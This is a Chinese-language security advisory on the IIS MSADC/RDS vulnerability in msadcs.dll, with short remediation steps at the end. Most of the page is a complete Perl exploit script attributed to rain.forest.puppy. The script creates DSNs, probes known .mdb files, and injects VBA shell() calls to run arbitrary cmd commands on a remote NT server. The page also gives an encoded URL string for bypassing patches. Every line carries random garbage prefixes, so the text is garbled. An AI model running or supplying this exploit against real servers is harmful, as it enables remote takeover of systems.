IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
fN-y8 AgU 7U/yk 涉及程序:
1f/8XxTB Microsoft NT server
KD*q|?Z F,NS:mE 描述:
q_gsYb 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
flr&+=1?D qUuvM 详细:
1^HUu"Kt 如果你没有时间读详细内容的话,就删除:
Zi4Ektj2 c:\Program Files\Common Files\System\Msadc\msadcs.dll
wfJ["
q 有关的安全问题就没有了。
z"*$ . &58TX[# 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
)`V__^ t%'0uB#v1 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
}2;{}J 关于利用ODBC远程漏洞的描述,请参看:
D_(K{?KU 1}#RUqFrvS http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm km[PbC
28jm*Cl8 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
GO|EeM!iB http://www.microsoft.com/security/bulletins/MS99-025faq.asp $At,D.mGkb }aJK^>^>A 这里不再论述。
xdV $dDCT !arTR.b\ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
6z2_b wo eCI0o5U /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>RL|W}tI4 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
/U1 jCLR' xy.di9 ,TdL-a5 #将下面这段保存为txt文件,然后: "perl -x 文件名"
>8>}o4Q/X X"z!52*3] #!perl
7K\H_YY8# #
OM4q/!)A] # MSADC/RDS 'usage' (aka exploit) script
HXg4
T #
S$egsK"~ # by rain.forest.puppy
@m99xF\e #
V1= (^{p8 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!~5=tK # beta test and find errors!
A[mm_+D> Pp9nilb_( use Socket; use Getopt::Std;
Hc"FW5R getopts("e:vd:h:XR", \%args);
(qQ|s@O |vLlEN/S print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
u}L;/1,B &8^1:CcE if (!defined $args{h} && !defined $args{R}) {
SyWLPh print qq~
4 -dV%DgC Usage: msadc.pl -h <host> { -d <delay> -X -v }
{k#RWDespy -h <host> = host you want to scan (ip or domain)
n!>#o1Qr -d <seconds> = delay between calls, default 1 second
?4&C)[^ -X = dump Index Server path table, if available
1MF0HiC -v = verbose
g12mSbf=9 -e = external dictionary file for step 5
hV6=-QL*B TM1D|H Or a -R will resume a command session
$!-a)U,w$B _);;@T ~; exit;}
n;5;D `=B0NC.3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
j & x=?jX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]*Tnu98G} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=C[2"Y4JK0 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~LKX2Q:S $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(H*d">`mz if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
y,OwO4+y\ g\n0v~T+ if (!defined $args{R}){ $ret = &has_msadc;
B&Igm<72x die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
my|UlZ(qg )U':NV2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1sHaG . "cmd /c ";
=yZiBJ $in=<STDIN>; chomp $in;
01-n_ $b $command="cmd /c " . $in ;
nnm9pnx UJX=lh.o if (defined $args{R}) {&load; exit;}
(fYrb#]!y a=!I(50 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
n~wNee &try_btcustmr;
L9FijF7 R>YDn|cWI print "\nStep 2: Trying to make our own DSN...";
.-(s`2 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?R;K`f9< 5%5z@Ka print "\nStep 3: Trying known DSNs...";
@}^eyS$|! &known_dsn;
TP5?%SlJ dLtn,qCX0^ print "\nStep 4: Trying known .mdbs...";
"Y7
]t:8 &known_mdb;
Q.N, Q`P YVEin1] if (defined $args{e}){
f4k\hUA print "\nStep 5: Trying dictionary of DSN names...";
c_33.i"I} &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`PY>p!E u,rieKYF print "Sorry Charley...maybe next time?\n";
o.Jq1$)~y exit;
6a=Y_fma I'NE>!=Q ##############################################################################
;~ >E^0M ^6Std
x_ sub sendraw { # ripped and modded from whisker
*Y@)t*
-a sleep($delay); # it's a DoS on the server! At least on mine...
+-|D$@8S my ($pstr)=@_;
\40d?N#D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
M]Y72K^ die("Socket problems\n");
6}RRrYL7I if(connect(S,pack "SnA4x8",2,80,$target)){
8#S}.|"?F select(S); $|=1;
pNHO;N[& print $pstr; my @in=<S>;
>^ E select(STDOUT); close(S);
kr_!AW<.tz return @in;
njk1x } else { die("Can't connect...\n"); }}
y.LJ5K$&a xGzp}
##############################################################################
eqL~h1^Co N9M''H*VS sub make_header { # make the HTTP request
#0+`dI_5/ my $msadc=<<EOT
PUdJ>U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
NB z3j User-Agent: ACTIVEDATA
P0En&g+~ Host: $ip
Zy -&g: Content-Length: $clen
ZL-YoMHc+_ Connection: Keep-Alive
'|\et aD R`RLq1WA ADCClientVersion:01.06
{c3u!}mW Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
YJ&K0%R E[FRx1^R9 --!ADM!ROX!YOUR!WORLD!
f.o,VVYi Content-Type: application/x-varg
7sQw&yUL) Content-Length: $reqlen
B~0L'8WzW 4+V+SD EOT
5nGDt~a ; $msadc=~s/\n/\r\n/g;
8%$Vj return $msadc;}
WB=pRC@ Cyb-}l ##############################################################################
g 36\%L vlD!YNy sub make_req { # make the RDS request
9 pGND]tIi my ($switch, $p1, $p2)=@_;
2ja@NT my $req=""; my $t1, $t2, $query, $dsn;
M=!RJ%6f u7e g:0Y if ($switch==1){ # this is the btcustmr.mdb query
e*Gm()Vu, $query="Select * from Customers where City=" . make_shell();
e$E~@{[1) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
(X
rrnoz $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
zKi5e+\ 8"M*,?.] elsif ($switch==2){ # this is general make table query
K$H>/*&'~ $query="create table AZZ (B int, C varchar(10))";
`FP)-^A8 $dsn="$p1";}
Qe!Q
$ G n_AXN elsif ($switch==3){ # this is general exploit table query
da[u@eNrnX $query="select * from AZZ where C=" . make_shell();
:\*<EIk( $dsn="$p1";}
,6zH;fi y=H^U. elsif ($switch==4){ # attempt to hork file info from index server
!*0\Yi,6 $query="select path from scope()";
r3@Q(Rb $dsn="Provider=MSIDXS;";}
5ml^3,x )Tc eNH elsif ($switch==5){ # bad query
.oJs"=h:m $query="select";
3sk$B%a>Z $dsn="$p1";}
I$Q%iZ{ i4Y_5 $t1= make_unicode($query);
*aXZONym $t2= make_unicode($dsn);
?/_8zpW $req = "\x02\x00\x03\x00";
0,T'z, $req.= "\x08\x00" . pack ("S1", length($t1));
|EJ&s393& $req.= "\x00\x00" . $t1 ;
?Jlz{ms I $req.= "\x08\x00" . pack ("S1", length($t2));
Ty"OJ $req.= "\x00\x00" . $t2 ;
D&{7Av $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
R;P>_ei(LK return $req;}
<"uT=]wZ= o@`&
h}
$ ##############################################################################
[mSK!Y@u ^KU:5Bn sub make_shell { # this makes the shell() statement
i>9/vwe return "'|shell(\"$command\")|'";}
CjzfU*G oRM,_ ##############################################################################
rAdYBr=0 B/i` sub make_unicode { # quick little function to convert to unicode
\8uPHf_ my ($in)=@_; my $out;
6?/$K{AI for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<ByR!Y return $out;}
8t$a8 PE t5z6{` ##############################################################################
`L(AvSR y)W.xR sub rdo_success { # checks for RDO return success (this is kludge)
Ge+&C RhyX my (@in) = @_; my $base=content_start(@in);
ZDZPJp, if($in[$base]=~/multipart\/mixed/){
{d\erG( return 1 if( $in[$base+10]=~/^\x09\x00/ );}
()}B]? return 0;}
1n! JfsU APT'2-I_ ##############################################################################
T/
CI?sn s D]W/ sub make_dsn { # this makes a DSN for us
ny5=
=C{9 my @drives=("c","d","e","f");
|H.(?!nTb print "\nMaking DSN: ";
q|,I\H5} foreach $drive (@drives) {
rO%
|PRP print "$drive: ";
?Uzs^rsb my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"h/{YjUS "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-{>Nrx| . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[=Wn7cr $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p6(n\eg R return 0 if $2 eq "404"; # not found/doesn't exist
% Ke:%##Y if($2 eq "200") {
"HW~|M7>( foreach $line (@results) {
DRD%pm( return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
R1z\b~@" } return 0;}
l1~>{:mq 4WnB{9
i`I ##############################################################################
YF=@nR$_~j k/vE| sub verify_exists {
Q)}sX6TB my ($page)=@_;
W'\{8&:! my @results=sendraw("GET $page HTTP/1.0\n\n");
"v-\nAu return $results[0];}
qoBm!|q tw8@&8" ##############################################################################
yV:DR vrsO]ctI sub try_btcustmr {
+MKr.k2 my @drives=("c","d","e","f");
uXuMt
a*Y my @dirs=("winnt","winnt35","winnt351","win","windows");
o<e AZ N}wi<P:*) foreach $dir (@dirs) {
x`^~|Q print "$dir -> "; # fun status so you can see progress
vJ$#m_aa foreach $drive (@drives) {
QQKvy0?1 print "$drive: "; # ditto
Cw]Q)rX{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
E9 QA<w $reqlenlen=length( "$reqlen" );
\%9,<-~[ $clen= 206 + $reqlenlen + $reqlen;
@b2{'#9]} ^3QHB1I my @results=sendraw(make_header() . make_req(1,$drive,$dir));
+/q%29-k if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
od|w)?16 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&yzC\XdA x~xaE*r ##############################################################################
>Qc0g(w >?yaG= sub odbc_error {
q('O@-HA my (@in)=@_; my $base;
oUEpzv,J my $base = content_start(@in);
3Juhn5&N if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
HoGrvt<:.P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WO*YBH@ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\>w[#4`m $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6
$%^ return $in[$base+4].$in[$base+5].$in[$base+6];}
F#@Mf?#2
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
OWCd$c_( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%FGPsHH $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
F ]\4< .eW}@1+[; ##############################################################################
ecA[ &|xN=U/ sub verbose {
$O&P@8:Z my ($in)=@_;
o[^% 0uVF return if !$verbose;
HE+y1f] print STDOUT "\n$in\n";}
,U2
/J J0w[vrs&] ##############################################################################
3A]Y=gfa \`r5tQ r sub save {
BCF-lrZ& my ($p1, $p2, $p3, $p4)=@_;
gNl@T open(OUT, ">rds.save") || print "Problem saving parameters...\n";
gOa'o< print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
PdJtJqA8h\ close OUT;}
}:YS$'by 4~4PZ ##############################################################################
Os9xZ h<i.@& sub load {
TPp%II'* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
InMeD[*^ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
DqrS5!C @p=<IN>; close(IN);
di`Ql._M $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
oddS~lW $target= inet_aton($ip) || die("inet_aton problems");
ofl3G
{u print "Resuming to $ip ...";
K9}ppgL'$ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
qHg\n)R"x! if($p[1]==1) {
T30!'F(*, $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
g^"",!J/ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
gKcP\m my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
`DO`c>>K if (rdo_success(@results)){print "Success!\n";}
YEAiL C+q else { print "failed\n"; verbose(odbc_error(@results));}}
mkTf}[O elsif ($p[1]==3){
|4pE"6A if(run_query("$p[3]")){
Fs<kMT print "Success!\n";} else { print "failed\n"; }}
-DhF> 4f elsif ($p[1]==4){
_;$VH4(BI if(run_query($drvst . "$p[3]")){
'Wl))lB print "Success!\n"; } else { print "failed\n"; }}
&fq-U5zH exit;}
Skl1%` '@RlKMnN ##############################################################################
aB-*l
%x :x]gTZ? sub create_table {
x$I~y D my ($in)=@_;
/K<Xr[z~y $reqlen=length( make_req(2,$in,"") ) - 28;
^10*s,(uS? $reqlenlen=length( "$reqlen" );
5 |{0|mP $clen= 206 + $reqlenlen + $reqlen;
EbuOPa my @results=sendraw(make_header() . make_req(2,$in,""));
F4>}mIA return 1 if rdo_success(@results);
ItHKpTer my $temp= odbc_error(@results); verbose($temp);
Lo @mQ return 1 if $temp=~/Table 'AZZ' already exists/;
0@{K'm/ return 0;}
X !NH?0) ZU7e1VaZM ##############################################################################
UL$^zR3%d =:v\}/ sub known_dsn {
C78YHjy # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
jwyJ=W- my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
rPkV=9ull, "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
bV|:MW<Wv "banner", "banners", "ads", "ADCDemo", "ADCTest");
<_8\}! ' ~ lC85 foreach $dSn (@dsns) {
;2@MPx print ".";
{-J/
<a@ next if (!is_access("DSN=$dSn"));
~<Uwumv if(create_table("DSN=$dSn")){
tx Lo= print "$dSn successful\n";
KnbT2 if(run_query("DSN=$dSn")){
q0jzng print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{l.) *#O print "Something's borked. Use verbose next time\n";}}} print "\n";}
h"Yi' 5W>i'6* ##############################################################################
ypwVzCUG Duj9PV`2 sub is_access {
K=M5d^K<E my ($in)=@_;
NtkEb : $reqlen=length( make_req(5,$in,"") ) - 28;
G<9MbMG $reqlenlen=length( "$reqlen" );
-lRXH7|X $clen= 206 + $reqlenlen + $reqlen;
XUfj 0 my @results=sendraw(make_header() . make_req(5,$in,""));
"]JE]n}Ulg my $temp= odbc_error(@results);
v$p<6^kJ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@fRB0m"3 return 0;}
?o$6w(]'' ~0>g 4
D. ##############################################################################
zGj0'!!- Uc!}D sub run_query {
0Q_AF`" my ($in)=@_;
;:vbOG#aSN $reqlen=length( make_req(3,$in,"") ) - 28;
^O6P Zm5J} $reqlenlen=length( "$reqlen" );
Yb]eWLv $clen= 206 + $reqlenlen + $reqlen;
*5hg}[n2 my @results=sendraw(make_header() . make_req(3,$in,""));
!h}x,=`z/ return 1 if rdo_success(@results);
*J=`"^BO my $temp= odbc_error(@results); verbose($temp);
52q@&')D4M return 0;}
s[nXr BC%t[H} >R ##############################################################################
_OZrH(8 ' ]l, sub known_mdb {
D@!`b6 my @drives=("c","d","e","f","g");
0diQfu)Fi my @dirs=("winnt","winnt35","winnt351","win","windows");
"639oB my $dir, $drive, $mdb;
?lnX."eAdB my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
us"SM\X# 0qnToV; # this is sparse, because I don't know of many
hvQOwA;e my @sysmdbs=( "\\catroot\\icatalog.mdb",
\,!FL))yC "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
B<xBuW "\\system32\\certmdb.mdb",
-@Mr!!t?N "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
tcSn`+Bu_` h<4WY#Y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
SWY?0Pu "\\cfusion\\cfapps\\forums\\forums_.mdb",
y'*^ ' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
b4Zkj2L "\\cfusion\\cfapps\\security\\realm_.mdb",
HY~\e|o "\\cfusion\\cfapps\\security\\data\\realm.mdb",
4M*UVdJ; "\\cfusion\\database\\cfexamples.mdb",
b|u4h9 "\\cfusion\\database\\cfsnippets.mdb",
I{;s.2 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
vK!,vKa. "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
F/tBr%RV "\\cfusion\\brighttiger\\database\\cleam.mdb",
CA7tI >y_ "\\cfusion\\database\\smpolicy.mdb",
MM3X!
tq "\\cfusion\\database\cypress.mdb",
uwsGtgd& "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Z`o}xV "\\website\\cgi-win\\dbsample.mdb",
[~`;
.7~ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
A 7'dD$9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
QK&<im- ); #these are just
7C9qkQ
Jqn foreach $drive (@drives) {
Yl% Ra1 foreach $dir (@dirs){
O`g44LW2n foreach $mdb (@sysmdbs) {
i{I'+%~R print ".";
*Tl"~)'t~ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-d[9mS print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6{8qATLR if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
K%[Rv#>;q| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
vE;`y46&r } else { print "Something's borked. Use verbose next time\n"; }}}}}
H|tbwU)J z
`T<g!Y foreach $drive (@drives) {
dz5a! e
[ foreach $mdb (@mdbs) {
w{?nX6a@p print ".";
8|.(Y if(create_table($drv . $drive . $dir . $mdb)){
xop9*Z$ print "\n" . $drive . $dir . $mdb . " successful\n";
&dp(CH<De if(run_query($drv . $drive . $dir . $mdb)){
B#&U5fSw+0 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Dp8YzWL2^ } else { print "Something's borked. Use verbose next time\n"; }}}}
57Y(_h: }
:iD([V y)t< r ##############################################################################
yd]W',c _*0!6?c sub hork_idx {
w{#K.dx print "\nAttempting to dump Index Server tables...\n";
kpsus \T print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@OZW1p $reqlen=length( make_req(4,"","") ) - 28;
cR[)[9} $reqlenlen=length( "$reqlen" );
Wy.2*+5FX0 $clen= 206 + $reqlenlen + $reqlen;
Sir7TQ4B my @results=sendraw2(make_header() . make_req(4,"",""));
.M!6${N); if (rdo_success(@results)){
)7<JGzBZ1 my $max=@results; my $c; my %d;
tbJB 0T|G for($c=19; $c<$max; $c++){
9`f]Rf" $results[$c]=~s/\x00//g;
>:4}OylhM $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
tQ< ou, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
T)6p,l $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
BEPeK $d{"$1$2"}="";}
;Z-xum{ foreach $c (keys %d){ print "$c\n"; }
3v
:PBmE } else {print "Index server doesn't seem to be installed.\n"; }}
vRp =L54z g05:A0X# ##############################################################################
;J Dn1(6 \9geDX9A sub dsn_dict {
[?r`8K2!, open(IN, "<$args{e}") || die("Can't open external dictionary\n");
? ;i O while(<IN>){
z\*ii<-@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+yiGZV/X next if (!is_access("DSN=$dSn"));
rBye%rQRq if(create_table("DSN=$dSn")){
1/c7((]7(, print "$dSn successful\n";
mg[=~&J^ if(run_query("DSN=$dSn")){
PEW^Vl-6q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
W&q]bi@C print "Something's borked. Use verbose next time\n";}}}
` :eXXE print "\n"; close(IN);}
%k_R;/fjW GM%%7 ^uE ##############################################################################
DDq*#;dP ?k<i e2 sub sendraw2 { # ripped and modded from whisker
tH,}_Bp sleep($delay); # it's a DoS on the server! At least on mine...
v
T2YX5k&, my ($pstr)=@_;
*.K+"WS% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
DlC`GZEtqh die("Socket problems\n");
8fKt6T if(connect(S,pack "SnA4x8",2,80,$target)){
r@5_LD@f print "Connected. Getting data";
y-m<&{q open(OUT,">raw.out"); my @in;
6]^ShOX_Z select(S); $|=1; print $pstr;
L(XGD while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
^8Tq0>n? close(OUT); select(STDOUT); close(S); return @in;
fWhw I+ } else { die("Can't connect...\n"); }}
xbnx*4o0 h-+9Bv] ##############################################################################
6QkdH7Qf= v:
cO+dQ sub content_start { # this will take in the server headers
|&`NB| my (@in)=@_; my $c;
}]$%aMxy T for ($c=1;$c<500;$c++) {
AWsO?|YT if($in[$c] =~/^\x0d\x0a/){
qX^#fk7] if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
N%v}$58Z else { return $c+1; }}}
\`}Rdr!p% return -1;} # it should never get here actually
k"Y9Kc0XoU U']DB h ##############################################################################
|&eZ[Sy(=l *&9_+F8ly sub funky {
<e-9We." my (@in)=@_; my $error=odbc_error(@in);
Qu,W3d if($error=~/ADO could not find the specified provider/){
Y!c
RzQ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
``kiAKMy exit;}
h}k)7 if($error=~/A Handler is required/){
lM`M70~ print "\nServer has custom handler filters (they most likely are patched)\n";
f=]+\0MQ exit;}
Pc#8~t}2 if($error=~/specified Handler has denied Access/){
Ox7v*[x' print "\nServer has custom handler filters (they most likely are patched)\n";
"aIiW VQ exit;}}
td%]l1 JV(qTb W ##############################################################################
De%WT:v NNLZ38BV7 sub has_msadc {
:0|]cHm my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
-CtLL_ I my $base=content_start(@results);
,l^; ZE return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}R4%%)j(Vj return 0;}
p \A ^kX^5 ^2%_AP0= ########################
:IlRn`9X` [* ,k ,*$L_itL 解决方案:
`WQz_}TqB 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
7nM]E_ 2、移除web 目录: /msadc